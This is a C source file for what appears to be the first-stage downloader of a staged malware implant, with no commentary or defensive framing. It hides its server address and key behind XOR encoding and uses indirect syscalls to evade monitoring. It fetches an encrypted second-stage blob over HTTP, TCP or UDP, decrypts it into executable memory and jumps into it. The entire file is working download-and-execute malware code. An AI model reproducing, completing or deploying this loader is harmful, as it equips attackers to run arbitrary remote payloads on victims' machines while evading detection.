#define _GNU_SOURCE
#include "net_utils.h"
#include "syscalls.h"
#include "utils.h"

/* Configurable Options - from Makefile */
#ifndef ENCODED_HOST
#define ENCODED_HOST 0x00
#endif
#ifndef ENCODED_PORT
#define ENCODED_PORT 0x00
#endif
#ifndef ENCODED_PATH
#define ENCODED_PATH 0x00
#endif
#ifndef ENCODED_KEY
#define ENCODED_KEY 0x00
#endif
#ifndef CONFIG_XOR_KEY
#define CONFIG_XOR_KEY 0x5A
#endif
#ifndef MAX_STAGE_BLOB_SIZE
#define MAX_STAGE_BLOB_SIZE (40 * 1024 * 1024)
#endif
#define BUFFER_SIZE 65536

// XOR-encoded configuration arrays
static const unsigned char encoded_host[] = {ENCODED_HOST};
static const unsigned char encoded_port[] = {ENCODED_PORT};
static const unsigned char encoded_path[] = {ENCODED_PATH};
static const unsigned char encoded_key[] = {ENCODED_KEY};

// Forward declarations
static void decode_config_string(char *dest, const unsigned char *encoded,
                                 size_t max_len);
static void derive_key_from_string(const char *str, uint8_t *key);
static void xor_data(char *data, size_t len, const uint8_t *key,
                     size_t key_len);
static size_t download_stage1_blob(const char *host, const char *port,
                                   const char *path, const uint8_t *key,
                                   void *buffer, size_t capacity);

void downloader_main(void) {
  /* Resolve vDSO syscall gadget before any other syscalls */
  init_indirect_syscalls();

  char host[256];
  char port[16];
  char path[256];
  char key_str[256];
  uint8_t key[16];

  decode_config_string(host, encoded_host, sizeof(host));
  decode_config_string(port, encoded_port, sizeof(port));
  decode_config_string(path, encoded_path, sizeof(path));
  decode_config_string(key_str, encoded_key, sizeof(key_str));
  derive_key_from_string(key_str, key);

  debug_print("Stage0: Downloading Stage1 blob from %s:%s%s\n", host, port,
              path);

  void *stage_blob = (void *)mmap(NULL, MAX_STAGE_BLOB_SIZE,
                                  PROT_READ | PROT_WRITE | PROT_EXEC,
                                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (stage_blob == MAP_FAILED) {
    debug_print("Stage0: mmap failed\n");
    exit(1);
  }

  size_t downloaded_size = download_stage1_blob(
      host, port, path, key, stage_blob, MAX_STAGE_BLOB_SIZE);

  if (downloaded_size == 0) {
    debug_print("Stage0: download failed\n");
    munmap(stage_blob, MAX_STAGE_BLOB_SIZE);
    exit(1);
  }

  // Decode the full staged blob (Stage1 loader + appended Stage2 payload).
  xor_data((char *)stage_blob, downloaded_size, key, 16);

  debug_print("Stage0: downloaded %d bytes, jumping to Stage1\n",
              (int)downloaded_size);

  typedef void (*stage1_entry)(void *base_addr, size_t total_size);
  stage1_entry entry = (stage1_entry)stage_blob;
  entry(stage_blob, downloaded_size);

  exit(0);
}

// Start routine similar to main.c but calls downloader_main
__asm__(".section .init,\"ax\",@progbits\n"
        ".global _start\n"
        "_start:\n"
        "xor %rbp, %rbp\n"
        "and $0xfffffffffffffff0, %rsp\n"
        "call downloader_main\n"
        "mov $60, %rax\n"
        "xor %rdi, %rdi\n"
        "syscall\n");

// IMPL

static void decode_config_string(char *dest, const unsigned char *encoded,
                                 size_t max_len) {
  size_t i = 0;
  while (i < max_len - 1) {
    if (encoded[i] == 0x00)
      break;
    dest[i] = encoded[i] ^ CONFIG_XOR_KEY;
    i++;
  }
  dest[i] = '\0';
}

static void derive_key_from_string(const char *str, uint8_t *key) {
  uint32_t temp_key[4] = {0};
  size_t len = strlen(str);
  for (int i = 0; i < 4; i++) {
    for (size_t j = 0; j < len / 4; j++) {
      temp_key[i] ^= ((uint32_t)str[i + j * 4]) << (j % 4 * 8);
    }
  }
  memcpy(key, temp_key, 16);
}

static void xor_data(char *data, size_t len, const uint8_t *key,
                     size_t key_len) {
  for (size_t i = 0; i < len; i++) {
    data[i] ^= key[i % key_len];
  }
}

static size_t download_stage1_blob(const char *host, const char *port,
                                   const char *path, const uint8_t *key,
                                   void *buffer, size_t capacity) {
  int sockfd;
  struct sockaddr_in serv_addr;
  char temp_buffer[BUFFER_SIZE];
  size_t data_size = 0;
  unsigned int http_marker = 0;

  memset(&serv_addr, 0, sizeof(serv_addr));
  serv_addr.sin_family = AF_INET;

  int port_num = 0;
  const char *p = port;
  while (*p) {
    port_num = port_num * 10 + (*p - '0');
    p++;
  }
  serv_addr.sin_port = htons(port_num);

  if (inet_aton(host, &serv_addr.sin_addr) == 0) {
    return 0;
  }

#ifdef LISTENER_UDP
  sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
#else
  sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
#endif

  if (sockfd == -1) {
    return 0;
  }

#ifndef LISTENER_UDP
  if (connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) == -1) {
    close(sockfd);
    return 0;
  }
#endif

#ifdef LISTENER_HTTP
  char request[BUFFER_SIZE];
  char *ptr = request;
  memcpy(ptr, "GET ", 4);
  ptr += 4;
  size_t len = strlen(path);
  memcpy(ptr, path, len);
  ptr += len;
  const char *mid = " HTTP/1.1\r\nHost: ";
  size_t mid_len = 17;
  memcpy(ptr, mid, mid_len);
  ptr += mid_len;
  len = strlen(host);
  memcpy(ptr, host, len);
  ptr += len;
  const char *end = "\r\nConnection: close\r\n\r\n";
  size_t end_len = 23;
  memcpy(ptr, end, end_len);
  ptr += end_len;
  *ptr = '\0';

  if (send(sockfd, request, strlen(request), 0) == -1) {
    close(sockfd);
    return 0;
  }

  int header_end = 0;
  const char *delim = "\r\n\r\n";
  while (1) {
    long bytes_received = recv(sockfd, temp_buffer, BUFFER_SIZE, 0);
    if (bytes_received <= 0)
      break;

    if (!header_end) {
      for (long i = 0; i < bytes_received; i++) {
        if ((unsigned char)temp_buffer[i] ==
            (unsigned char)delim[http_marker]) {
          http_marker++;
          if (http_marker == 4) {
            header_end = 1;
            if (i + 1 < bytes_received) {
              size_t body_len = (size_t)(bytes_received - (i + 1));
              if (data_size + body_len > capacity)
                goto done;
              memcpy((char *)buffer + data_size, temp_buffer + i + 1, body_len);
              data_size += body_len;
            }
            break;
          }
        } else {
          http_marker =
              ((unsigned char)temp_buffer[i] == (unsigned char)delim[0]) ? 1
                                                                         : 0;
        }
      }
    } else {
      if (data_size + (size_t)bytes_received > capacity)
        break;
      memcpy((char *)buffer + data_size, temp_buffer, (size_t)bytes_received);
      data_size += (size_t)bytes_received;
    }
  }
#elif defined(LISTENER_TCP)
  while (1) {
    long bytes_received = recv(sockfd, temp_buffer, BUFFER_SIZE, 0);
    if (bytes_received <= 0)
      break;
    if (data_size + (size_t)bytes_received > capacity)
      break;
    memcpy((char *)buffer + data_size, temp_buffer, (size_t)bytes_received);
    data_size += (size_t)bytes_received;
  }
#elif defined(LISTENER_UDP)
  struct sockaddr_in src_addr;
  unsigned int src_len = sizeof(src_addr);
  struct timeval tv;
  tv.tv_sec = 1;
  tv.tv_usec = 0;
  setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, (const char *)&tv, sizeof tv);

  uint32_t key_hash = 0;
  for (int i = 0; i < 16; i++) {
    key_hash ^= ((uint32_t)key[i]) << ((i % 4) * 8);
  }

  char hello_packet[5];
  hello_packet[0] = 0x02;
  memcpy(hello_packet + 1, &key_hash, 4);
  uint32_t expected_seq = 0;
  int hello_retries = 0;

  while (1) {
    if (expected_seq == 0) {
      if (sendto(sockfd, hello_packet, 5, 0, (struct sockaddr *)&serv_addr,
                 sizeof(serv_addr)) == -1) {
        close(sockfd);
        return 0;
      }
    }
    long bytes_received = recvfrom(sockfd, temp_buffer, BUFFER_SIZE, 0,
                                   (struct sockaddr *)&src_addr, &src_len);
    if (bytes_received <= 0) {
      if (expected_seq == 0) {
        hello_retries++;
        if (hello_retries > 20)
          break;
        continue;
      } else {
        break;
      }
    }
    if (bytes_received > 4) {
      uint32_t seq = 0;
      memcpy(&seq, temp_buffer, 4);
      if (seq == expected_seq) {
        size_t body_len = (size_t)bytes_received - 4;
        if (data_size + body_len > capacity)
          break;
        memcpy((char *)buffer + data_size, temp_buffer + 4, body_len);
        data_size += body_len;
        expected_seq++;
        sendto(sockfd, &seq, 4, 0, (struct sockaddr *)&src_addr, src_len);
      } else if (seq < expected_seq) {
        sendto(sockfd, &seq, 4, 0, (struct sockaddr *)&src_addr, src_len);
      }
    }
  }
#endif
done:
  close(sockfd);

  return data_size;
}
